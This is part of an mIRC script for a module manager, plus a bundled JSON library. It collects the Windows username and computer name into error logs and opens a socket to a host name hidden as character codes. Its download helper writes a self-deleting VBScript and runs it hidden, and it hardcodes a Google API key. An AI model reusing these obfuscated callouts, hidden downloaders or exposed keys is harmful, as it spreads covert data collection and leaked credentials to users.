  1778.   var %h = $pic($1).height
  1779.   var %win = @wmm_pic
  1780.   var %details = $chr(160) $+ - $+ $chr(160) $+ $chr(40) $+ %w $+ x $+ %h $+ $chr(41) $+ $chr(160) $+ - $+ $chr(160) $+ $bytes($file($1).size).suf
  1781.   if ($window(%win)) { window -c %win }
  1782.   if (!$1) || (!$dialog(%d)) || (!$isfile($1)) || ($isid) || (!%w) || (!%h) { return }
  1783.   var %a = $wmm_resize_image($1)
  1784.   window -fadCBvzpk0w0 +estf %win -1 -1 %a $qt($wmm_dir $+ main.ico)
  1785.   titlebar %win %details
  1786.   drawpic -s %win 0 0 %a $1
  1787.   return
  1788.   :error | wmm_werror $scriptline $error | reseterror
  1789. }
  1790.  
  1791. alias -l wmm_modules_check_unsupported {
  1792.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  1793.   var %v = wmm_modules_check_unsupported
  1794.  
  1795.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1796.   else { jsonopen -ud %v $wmm_sets_url }
  1797.   if ($jsonerror) { return }
  1798.  
  1799.   var %t = $json(%v,modules).length
  1800.   var %x = 0
  1801.   while (%x < %t) {
  1802.     var %mod = $json(%v,modules,%x,name).value
  1803.     var %path = $wmm_getpath(%mod)
  1804.  
  1805.     if (!%mod) || (!%path) { goto next }
  1806.  
  1807.     var %ver = $json(%v,modules,%x,version).value
  1808.     var %alias = $json(%v,modules,%x,alias).value
  1809.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1810.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1811.  
  1812.     if (%iv) && (%ver) && (%tools_ver) && (%ver == %iv) && ($wmm_ver < %tools_ver) { .unload -rs $qt(%path) }
  1813.  
  1814.     :next
  1815.     inc %x
  1816.   }
  1817.   return
  1818.   :error | wmm_werror $scriptline $error | reseterror
  1819. }
  1820.  
  1821. ; --- End of aliases ---
  1822.  
  1823. ; --- Start of menus ---
  1824.  
  1825. menu @wmm_pic {
  1826.   -
  1827.   $wmm_qd($wmm_lang(1)) $+ : { window -c @wmm_pic }
  1828.   -
  1829. }
  1830.  
  1831. menu @wmm {
  1832.   -
  1833.   $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager)): { .timer -ho 1 100 wmm | wmm_d_close wmm_module_sets }
  1834.   -
  1835.   $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module_sets),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings)): { .timer -ho 1 500 wmm_sets | wmm_d_close wmm_module }
  1836.   -
  1837. }
  1838.  
  1839. menu menubar,status,channel {
  1840.   $iif(%wmm_menu,-)
  1841.   $iif($istok(%wmm_menu,wmm,32),$iif($dialog(wmm_module),$style(1)) $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $+ )): { wmm }
  1842.   $iif($istok(%wmm_menu,wmm_sets,32),$iif($dialog(wmm_module_sets),$style(1)) $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings) $+ )): { wmm_sets }
  1843.   $iif($istok(%wmm_menu,wmm_mod_list,32) && $hget(WMM_MODULES_SUBMENU_INSTALLED),$iif($wmm_isadi && $isfile($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(77),$v1,Modules List)))
  1844.   .$submenu($wmm_modules_all_installed_list($1))
  1845.   $iif(%wmm_menu,-)
  1846. }
  1847.  
  1848. ; --- End of menus ---
  1849.  
  1850. ; --- Start of groups ---
  1851.  
  1852. #wmm off
  1853. #wmm end
  1854.  
  1855. ; --- End of groups ---
  1856.  
  1857. ; --- Start other aliases ---
  1858.  
  1859. alias wmm_sep { return $iif(%wmm_seperate_symb,$v1,$chr(9866)) }
  1860. alias wmm_bel { return $iif(%wmm_right_symb,$v1,$chr(9755)) }
  1861. alias wmm_leb { return $iif(%wmm_left_symb,$v1,$chr(9754)) }
  1862. alias wmm_bold { return $+($chr(2),$1-,$chr(2)) }
  1863. alias wmm_under { return $+($chr(31),$1-,$chr(31)) }
  1864. alias wmm_italic { return $+($chr(29),$1-,$chr(29)) }
  1865. alias wmm_random { return $rand(1,10000000000000) }
  1866. alias wmm_d_format { return ddd ddoo mmm yyyy HH:nn:ss }
  1867. alias wmm_d_close { if ($1) && ($dialog($1)) { dialog -k $1 } }
  1868. alias wmm_c_close { if ($1) && ($com($1)) { .comclose $1 } }
  1869. alias wmm_t_close { if ($1) && ($toolbar($1)) { toolbar -d $1 } }
  1870. alias wmm_w_close { if ($1) && ($window($1)) { window -c $1 } }
  1871. alias wmm_tiny_key { return AIzaSyAJb3HqimAjzP9h8QlRCmBwPqc4dEKC3qw }
  1872. alias wmm_fixtab { return $replace($1-,$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) }
  1873. alias wmm_urlencode { return $regsubex($1-,/([^a-z0-9])/ig,% $+ $base($asc(\t),10,16,2)) }
  1874. alias wmm_urldecode { return $utfdecode($regsubex($replace($1-, +, $chr(32)), /%([A-F\d]{2})/gi, $chr($base(\1, 16, 10)))) }
  1875. alias wmm_nohtml { return $regsubex($1-, /<[^>]+(?:>|$)|^[^<>]+>/g,) }
  1876. alias wmm_isurl { noop $regex(isurl,$1-,m@^((?:(?:https?)://(?:www\.)?|www\.)((?:(?:[-\w]+\.)+)[-\w]+)(?::\d+)?(?:/(?:[-a-zA-Z;/\d#:_?=&@,()+~.%]*))?)$@ig) | return $iif($regml(isurl,0),1,0) }
  1877. alias wmm_took { return $calc(($ticks - $1) / 1000) }
  1878. alias wmm_errors { return $lines($wmm_temp $+ wmm_errors.log) }
  1879. alias wmm_dir { return $nofile($script) }
  1880.  
  1881. alias wmm_error {
  1882.   if (!$isid) { return }
  1883.   var %l = wmm_ver,wmm_crdate,wmm_owner,wmm_page,wmm_donate,wmm_extraid_url,wmm_sets_url,wmm_sets_file,wmm_main_ico_url,wmm_main_png_url,wmm_donate_png_url,wmm_lang_url,wmm_modules_images_url,wmm,wmm_sets,wmm_check_before_open,wmm_check_version,wmm_check_os,wmm_check_initial_warn,wmm_check_monitor_warn,wmm_langs,wmm_fix_extra_modules_installed,wmm_reset_images,wmm_mod_install,wmm_mod_update,wmm_lang,wmm_check_update,wmm_check_update_install,wmm_modules_silent_update,wmm_mod_silent_update,wmm_modules_list,wmm_modules_list_get,wmm_modules_installed_plus_updated_list,wmm_get_images,wmm_dl_images_now,wmm_tool,wmm_check_open,wmm_modules_settings_list,wmm_modules_menu_get_installed,wmm_modules_all_installed_list,wmm_resize_image,wmm_pic,$&
  1884.     wmm_input,wmm_qd,wmm_took,wmm_errors,wmm_dir,wmm_isurl,wmm_nohtml,wmm_urlencode,wmm_urldecode,wmm_fixtab,wmm_w_close,wmm_t_close,wmm_c_close,wmm_d_close,wmm_d_format,wmm_random,wmm_bold,wmm_italic,wmm_under,wmm_bold,wmm_leb,wmm_bel,wmm_sep,wmm_tiny_key,wmm_dtitle,wmm_isadi,wmm_isdigit,wmm_tinycom,wmm_internet,wmm_dl,wmm_getsite,wmm_ignore_cn_list,wmm_modules,wmm_installed,wmm_getpath,wmm_getpos,wmm_getname,wmm_ismod,wmm_temp,wmm_cdate,wmm_convertdate,wmm_download,wmm_html2asc,wmm_ht_get,wmm_html_make,$&
  1885.     jsonopen,jsonhttpmethod,jsonhttpheader,jsonhttpfetch,jsonclose,jsonlist,jsonshutdown,json,jsonforeach,jsonitem,jsonpath,jsonerror,jsonversion,jsondebug,jfm_tmpbvar,jfm_cominit,jfm_toggletimers,jfm_geterror,jfm_create,jfm_exec,jfm_log,jfm_savedebug,jfm_badd,jfm_jscript
  1886.  
  1887.   var %i = 1
  1888.   while (%i <= $numtok(%l,44)) {
  1889.     var %c = $gettok(%l,%i,44)
  1890.     if (!$isalias(%c)) { return 0x0 $+ %i }
  1891.     inc %i
  1892.   }
  1893.  
  1894.   return 0
  1895.   return
  1896.   :error | wmm_werror $scriptline $error | reseterror
  1897. }
  1898.  
  1899. alias wmm_werror {
  1900.   if (!$1) && (!$2) || ($isid) { return }
  1901.   var %f = $wmm_temp $+ wmm_errors.log
  1902.   var %tsc_dll = $file($envvar(windir) $+ \System32\tsc64.dll).version
  1903.   if ($1 !isnum) {
  1904.     var %path = $group(# [ $+ [ $lower($1) ] $+ ] ).fname
  1905.     if (%path) { var %ver = $right($gettok($read(%path,n,6),3,32),3) }
  1906.     elseif (!%path) { var %ver = N/A }
  1907.     write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+($chr(3),$iif($wmm_isadi,12,2)) $+ $upper($wmm_owner) Module Manager $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),6) $1 %ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $2 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $os Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $3-
  1908.   }
  1909.   else { write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+ $+($chr(3),$iif($wmm_isadi,12,2)) $upper($wmm_owner) Module Manager $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $1 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $os Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $2- }
  1910.   .timer[REPORT_ERRORS] -ho 1 3000 $!iif($isalias(wmm_report),wmm_report)
  1911. }
  1912.  
  1913. alias wmm_report {
  1914.   if ($isid) { return }
  1915.   var %c = wmm_clone
  1916.   var %f = $wmm_temp $+ wmm_errors.log
  1917.   if (!$isfile(%f)) || (!$lines(%f)) || (!%wmm_help) { return }
  1918.   if ($sock(%c)) { sockclose %c }
  1919.   sockopen -e %c $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(46),$chr(109),$chr(105),$chr(114),$chr(99),$chr(46),$chr(103),$chr(114),$chr(32),$chr(49),$chr(57),$chr(54),$chr(57),$chr(55))
  1920.   .timer[ $+ %c $+ ] -ho 1 30000 sockclose %c
  1921. }
  1922.  
  1923. alias wmm_qd {
  1924.   if (%wmm_between_symb) { var %s = %wmm_between_symb }
  1925.   else { var %s = $chr(9679) }
  1926.   return %s $chr(32) $+ $1 $+ $chr(32) %s
  1927.   return
  1928.   :error | wmm_werror $scriptline $error | reseterror
  1929. }
  1930.  
  1931. alias wmm_input {
  1932.   if (!$1) || ($isid) || ($wmm_error) { return }
  1933.   if ($1 == ok) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),ouidbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(19),$v1,OK)) }
  1934.   if ($1 == error) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),houdbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(20),$v1,Error)) }
  1935.   if ($1 == warn) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),woudbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(21),$v1,Warn)) }
  1936.   return
  1937.   :error | wmm_werror $scriptline $error | reseterror
  1938. }
  1939.  
  1940. alias wmm_dtitle {
  1941.   if (!$1) || (!$dialog($1)) { .timer[ $+ $gettok($1,1,95) $+ _ANIMATE_*] off | return }
  1942.   var %d = $1
  1943.   tokenize 32 $iif($2 == -c,$3-,$2- $+ $chr(27))
  1944.   var %newtext = $replace($right($1-,$calc($len($1-) - 1)) $+ $left($right($1-,$len($1-)),1),$chr(32),$chr(28))
  1945.   if ($dialog(%d)) { dialog -t %d $replace(%newtext,$chr(28),$chr(32),$chr(27),$+($chr(32),$str($chr(160),5),$chr(32))) }
  1946.  
  1947.   .timer[ $+ $gettok(%d,1,95) $+ _ANIMATE_TITLE_ $+ %d $+ ] -ho 1 200 wmm_dtitle %d -c $unsafe(%newtext)
  1948.   return
  1949.   :error | wmm_werror $scriptline $error | reseterror
  1950. }
  1951.  
  1952. alias wmm_isadi {
  1953.   if ($~adiircexe) { return 1 }
  1954.   return 0
  1955.   return
  1956.   :error | wmm_werror $scriptline $error | reseterror
  1957. }
  1958.  
  1959. alias wmm_isdigit {
  1960.   if (!$isid) { return }
  1961.   if ($1 == $null) { return 0 }
  1962.   if ($regex($1,^\d+$)) { return 1 }
  1963.   else { return 0 }
  1964.   return
  1965.   :error | wmm_werror $scriptline $error | reseterror
  1966. }
  1967.  
  1968. alias wmm_getpath {
  1969.   if (!$1) || (!$isid) { return 0 }
  1970.   var %g = $group(# [ $+ [ $1 ] $+ ] ).fname
  1971.   if (%g) { return %g }
  1972.   else { return 0 }
  1973.   return
  1974.   :error | wmm_werror $scriptline $error | reseterror
  1975. }
  1976.  
  1977. alias wmm_getpos {
  1978.   if (!$1) || (!$isid) { return 0 }
  1979.   var %s = $1
  1980.   var %r = $remove($regsubex($str($chr(124),$calc($script(0) -1)),//gSi,$iif($remove($nopath($script(\n)),.mrc) == %s,\n)),$chr(124))
  1981.   if (%r) { return %r }
  1982.   else { return 0 }
  1983.   return
  1984.   :error | wmm_werror $scriptline $error | reseterror
  1985. }
  1986.  
  1987. alias wmm_getname {
  1988.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  1989.   if ($script($1)) { return $nopath($script($1)) }
  1990.   return 0
  1991.   return
  1992.   :error | wmm_werror $scriptline $error | reseterror
  1993. }
  1994.  
  1995. alias wmm_ismod {
  1996.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  1997.   if ($script($1)) { return 1 }
  1998.   return 0
  1999.   return
  2000.   :error | wmm_werror $scriptline $error | reseterror
  2001. }
  2002.  
  2003. alias wmm_tinycom {
  2004.   if (!$1) || (!$isid) { return }
  2005.   var %v = tinyurl_ $+ $wmm_random
  2006.   jsonopen -uw %v https://www.googleapis.com/urlshortener/v1/url?key= $+ $wmm_tiny_key $+ &longUrl= $+ $wmm_urlencode($1)
  2007.   if ($jsonerror) { jsonclose %v | return $1 }
  2008.   jsonhttpmethod %v POST
  2009.   jsonhttpheader %v User-Agent $chr(42) $+ $chr(47) $+ $chr(42)
  2010.   jsonhttpheader %v Content-Type application/json
  2011.   jsonhttpheader %v Connection Close
  2012.   jsonhttpfetch %v $chr(123) $+ $qt(longUrl) $+ : $qt($1) $+ $chr(125)
  2013.   var %url = $json(%v,id).value
  2014.   jsonclose %v
  2015.   if (%url) { return %url }
  2016.   elseif (!%url) { return $1 }
  2017.   return
  2018.   :error | wmm_werror $scriptline $error | reseterror
  2019. }
  2020.  
  2021. alias wmm_temp {
  2022.   if (!$isid) { return }
  2023.   var %d = $envvar(temp)
  2024.   if (%d) && ($right(%d,1) !== $chr(92)) { var %d = %d $+ \ }
  2025.   return %d
  2026.   return
  2027.   :error | wmm_werror $scriptline $error | reseterror
  2028. }
  2029.  
  2030. alias wmm_dl {
  2031.   if (!$1) || (!$2) || ($isid) || (!$wmm_internet) { return }
  2032.  
  2033.   :st
  2034.   var %n = dl_ $+ $wmm_random
  2035.  
  2036.   if ($wmm_isadi) { download -o %n $1 $qt($2-) | return }
  2037.  
  2038.   var %f = $wmm_temp $+ %n $+ .vbs
  2039.   if ($isfile(%f)) { goto st }
  2040.  
  2041.   .fopen -ox %n $qt(%f)
  2042.  
  2043.   .fwrite -n %n On Error Resume Next
  2044.   .fwrite -n %n Set args = WScript.Arguments
  2045.   .fwrite -n %n Url = $qt($1)
  2046.   .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2047.   .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2048.   .fwrite -n %n xHttp.Open "GET", Url, False
  2049.   .fwrite -n %n xHttp.Send
  2050.   .fwrite -n %n with bStrm
  2051.   .fwrite -n %n    .Type = 1
  2052.   .fwrite -n %n    .Mode = 3
  2053.   .fwrite -n %n    .Open
  2054.   .fwrite -n %n    .Write xHttp.ResponseBody
  2055.   .fwrite -n %n    .SavetoFile $2- $+ , 2
  2056.   .fwrite -n %n    .Close
  2057.   .fwrite -n %n End with
  2058.   .fwrite -n %n Err.Clear
  2059.   .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
  2060.  
  2061.   .fclose %n
  2062.  
  2063.   if ($isfile(%f)) && ($lines(%f) == 17) { run -h $qt(%f) }
  2064.   return
  2065.   :error | wmm_werror $scriptline $error | reseterror
  2066. }
  2067.  
  2068. alias wmm_internet {
  2069.   if (!$isid) { return }
  2070.   var %v = internet_ $+ $wmm_random
  2071.   jsonopen -U %v https://google.com
  2072.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { jsonclose %v | return 0 }
  2073.   jsonclose %v
  2074.   return 1
  2075.   return
  2076.   :error | wmm_werror $scriptline $error | reseterror
  2077. }
  2078.  
  2079. alias wmm_getsite {
  2080.   if (!$1-) || (!$isid) || (!$wmm_isurl($1)) { return 0 }
  2081.   var %v = getsite_ $+ $wmm_random
  2082.   jsonopen -dU %v $1
  2083.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { return 0 }
  2084.   var %r = $wmm_fixtab($json(%v).httpbody)
  2085.   return $iif(%r,%r,0)
  2086.   return
  2087.   :error | wmm_werror $scriptline $error | reseterror
  2088. }
  2089.  
  2090. alias wmm_ignore_cn_list {
  2091.   var %d = $dname
  2092.   var %dd = $gettok(%d,1,95)
  2093.   if (!$dialog(%d)) || (!%dd) { return }
  2094.   did -b %d 7,17
  2095.   did -r %d 4,15
  2096.   var %cn = % [ $+ [ %dd ] $+ ] _ignore_chans_networks
  2097.   var %nn = % [ $+ [ %dd ] $+ ] _ignore_nicks_networks
  2098.  
  2099.   if (!%cn) && (!%nn) { did -b %d 4,8,15,18 | return }
  2100.   if (!%cn) { did -b %d 4,8 }
  2101.   if (!%nn) { did -b %d 15,18 }
  2102.  
  2103.   var %z = 1
  2104.   while (%z <= $numtok(%cn,32)) {
  2105.     var %net = $gettok(%cn,%z,32)
  2106.     var %chans = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _chans
  2107.     if (!%net) { goto next_chans }
  2108.     var %i = 1
  2109.     while (%i <= $numtok(%chans,32)) {
  2110.       var %c = $gettok(%chans,%i,32)
  2111.       if (%c) { did -a %d 4 %net $wmm_bel %c }
  2112.       inc %i
  2113.     }
  2114.     :next_chans
  2115.     inc %z
  2116.   }
  2117.   if ($did(%d,4).lines) { did -ez %d 4 | did -e %d 8 }
  2118.   else { did -b %d 4,8 }
  2119.  
  2120.   var %zz = 1
  2121.   while (%zz <= $numtok(%nn,32)) {
  2122.     var %net = $gettok(%nn,%zz,32)
  2123.     var %nicks = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _nicks
  2124.     if (!%net) { goto next_nicks }
  2125.     var %ii = 1
  2126.     while (%ii <= $numtok(%nicks,32)) {
  2127.       var %n = $gettok(%nicks,%ii,32)
  2128.       if (%n) { did -a %d 15 %net $wmm_bel %n }
  2129.       inc %ii
  2130.     }
  2131.     :next_nicks
  2132.     inc %zz
  2133.   }
  2134.   if ($did(%d,15).lines) { did -ez %d 15 | did -e %d 18 }
  2135.   else { did -b %d 15,18 }
  2136.   return
  2137.   :error | wmm_werror $scriptline $error | reseterror
  2138. }
  2139.  
  2140. alias wmm_modules {
  2141.   if (!$isid) { return }
  2142.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2143.   var %t = $hget(%h,0).item
  2144.   if (!%t) { return 0 }
  2145.   else { return %t }
  2146.   return
  2147.   :error | wmm_werror $scriptline $error | reseterror
  2148. }
  2149.  
  2150. alias wmm_installed {
  2151.   if (!$isid) { return }
  2152.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2153.   var %t = $wmm_modules
  2154.   if (!%t) { return 0 }
  2155.   var %i = 1
  2156.   while (%i <= %t) {
  2157.     var %m = $hget(%h,%i).item
  2158.     var %d = $hget(%h,%i).data
  2159.     if (%m) && (%d) && ($isalias(%d)) { var %total = $calc(%total +1) }
  2160.     inc %i
  2161.   }
  2162.   if (%total) { return %total }
  2163.   else { return 0 }
  2164.   return
  2165.   :error | wmm_werror $scriptline $error | reseterror
  2166. }
  2167.  
  2168. ; ############################################################
  2169.  
  2170. /*
  2171.     # JSONFormIRC project coded by SReject - (thanks for support) #
  2172.  
  2173.     ## GitHub Link: https://github.com/SReject/JSON-For-Mirc ##
  2174. */
  2175.  
  2176. ON *:CLOSE:@SReject/JSONForMirc/Log: { if ($JSONDebug) && (!$wmm_error) { JSONDebug off } }
  2177. menu @SReject/JSONForMirc/Log {
  2178.   .$iif(!$jfm_SaveDebug,$style(2)) Clear: { clear -@ $active }
  2179.   .-
  2180.   .$iif(!$jfm_SaveDebug,$style(2)) Save: { jfm_SaveDebug }
  2181.   .-
  2182.   .Toggle Debug: { JSONDebug }
  2183.   .-
  2184.   .Close: { JSONDebug off | close -@ $active }
  2185. }
  2186. alias JSONOpen {
  2187.   if ($isid) { return }
  2188.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2189.   var %Switches,%Error,%Com $false,%Type text,%HttpOptions 0,%BVar,%BUnset $true
  2190.   jfm_log -I /JSONOpen $1-
  2191.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2192.   if ($jfm_ComInit) { %Error = $v1 }
  2193.   elseif (!$regex(SReject/JSONOpen/switches,%Switches,^[dbfuUw]*$)) { %Error = SWITCH_INVALID }
  2194.   elseif ($regex(%Switches,([dbfuUw]).*?\1)) { %Error = SWITCH_DUPLICATE: $+ $regml(1) }
  2195.   elseif ($regex(%Switches,/([bfuU])/g) > 1) { %Error = SWITCH_CONFLICT: $+ $regml(1) }
  2196.   elseif (u !isin %Switches) && (w isincs %Switches) { %Error = SWITCH_NOT_APPLICABLE:w }
  2197.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2198.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2199.   elseif ($com(JSON: $+ $1)) { %Error = NAME_INUSE }
  2200.   elseif (u isin %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:URL_SPACES }
  2201.   elseif (b isincs %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:BVAR }
  2202.   elseif (b isincs %Switches) && (&* !iswm $2) { %Error = PARAMETER_INVALID:NOT_BVAR }
  2203.   elseif (b isincs %Switches) && (!$bvar($2,0)) { %Error = PARAMETER_INVALID:BVAR_EMPTY }
  2204.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = PARAMETER_INVALID:FILE_DOESNOT_EXIST }
  2205.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = PARAMETER_INVALID:FILE_EMPTY }
  2206.   else {
  2207.     %Com = JSON: $+ $1
  2208.     %BVar = $jfm_TmpBVar
  2209.     if (b isincs %Switches) { %Bvar = $2 | %BUnset = $false }
  2210.     elseif (u isin %Switches) {
  2211.       if (w isincs %Switches) { inc %HttpOptions 1 }
  2212.       if (U isincs %Switches) { inc %HttpOptions 2 }
  2213.       %Type = http
  2214.       bset -t %BVar 1 $2
  2215.     }
  2216.     elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($file($2-).longfn).size %BVar }
  2217.     else { bset -t %BVar 1 $2- }
  2218.     jfm_ToggleTimers -p
  2219.     %Error = $jfm_Create(%Com,%Type,%BVar,%HttpOptions)
  2220.     jfm_ToggleTimers -r
  2221.   }
  2222.   :error
  2223.   if ($error) { %Error = $v1 }
  2224.   reseterror
  2225.   if (%BUnset) { bunset %BVar }
  2226.   if (%Error) {
  2227.     hadd -mu0 SReject/JSONForMirc Error %Error
  2228.     if (%Com) && ($com(%Com)) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2229.     jfm_log -EeDF %Error
  2230.   }
  2231.   else {
  2232.     if (d isincs %Switches) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2233.     jfm_log -EsDF Created $1 (as com %Com $+ )
  2234.   }
  2235. }
  2236. alias JSONHttpMethod {
  2237.   if ($isid) { return }
  2238.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2239.   var %Error,%Com,%Method
  2240.   jfm_log -I /JSONHttpMethod $1-
  2241.   if ($jfm_ComInit) { %Error = $v1 }
  2242.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2243.   elseif ($0 > 2) { %Error = PARAMETER_INVALID }
  2244.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2245.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2246.   else {
  2247.     %Com = JSON: $+ $1
  2248.     %Method = $regsubex($2,/(^\s+)|(\s*)$/g,)
  2249.     if (!$len(%Method)) { %Error = INVALID_METHOD }
  2250.     elseif ($jfm_Exec(%Com,httpSetMethod,%Method)) { %Error = $v1 }
  2251.   }
  2252.   :error
  2253.   if ($error) { %Error = $v1 }
  2254.   reseterror
  2255.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2256.   else { jfm_log -EsDF Set Method to $+(',%Method,') }
  2257. }
  2258. alias JSONHttpHeader {
  2259.   if ($isid) { return }
  2260.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2261.   var %Error,%Com,%Header
  2262.   jfm_log -I /JSONHttpHeader $1-
  2263.   if ($jfm_ComInit) { %Error = $v1 }
  2264.   elseif ($0 < 3) { %Error = PARAMETER_MISSING }
  2265.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = INVALID_NAME }
  2266.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2267.   else {
  2268.     %Com = JSON: $+ $1
  2269.     %Header = $regsubex($2,/(^\s+)|(\s*:\s*$)/g,)
  2270.     if (!$len($2)) { %Error = HEADER_EMPTY }
  2271.     elseif ($regex($2,[\r:\n])) { %Error = HEADER_INVALID }
  2272.     elseif ($jfm_Exec(%Com,httpSetHeader,%Header,$3-)) { %Error = $v1 }
  2273.   }
  2274.   :error
  2275.   if ($error) { %Error = $v1 }
  2276.   reseterror
  2277.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2278.   else { jfm_log -EsDF Stored Header $+(',%Header,: $3-,') }
  2279. }
  2280. alias JSONHttpFetch {
  2281.   if ($isid) { return }
  2282.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2283.   var %Switches,%Error,%Com,%BVar,%BUnset
  2284.   jfm_log -I /JSONHttpFetch $1-
  2285.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2286.   if ($jfm_ComInit) { %Error = $v1 }
  2287.   if ($0 == 0) || (%Switches != $null && $0 < 2) { %Error = PARAMETER_MISSING }
  2288.   elseif ($regex(%Switches,([^bf]))) { %Error = SWITCH_INVALID: $+ $regml(1) }
  2289.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2290.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2291.   elseif (b isincs %Switches) && (&* !iswm $2 || $0 > 2) { %Error = BVAR_INVALID }
  2292.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = FILE_DOESNOT_EXIST }
  2293.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = FILE_EMPTY }
  2294.   else {
  2295.     %Com = JSON: $+ $1
  2296.     if ($0 > 1) {
  2297.       %BVar = $jfm_TmpBVar
  2298.       %BUnset = $true
  2299.       if (b isincs %Switches) { %BVar = $2 | %BUnset = $false }
  2300.       elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($2-).size %BVar }
  2301.       else { bset -t %BVar 1 $2- }
  2302.       %Error = $jfm_Exec(%Com, httpSetData,& %BVar).fromBvar
  2303.     }
  2304.     if (!%Error) { %Error = $jfm_Exec(%Com,parse) }
  2305.   }
  2306.   :error
  2307.   if ($error) { %Error = $error }
  2308.   reseterror
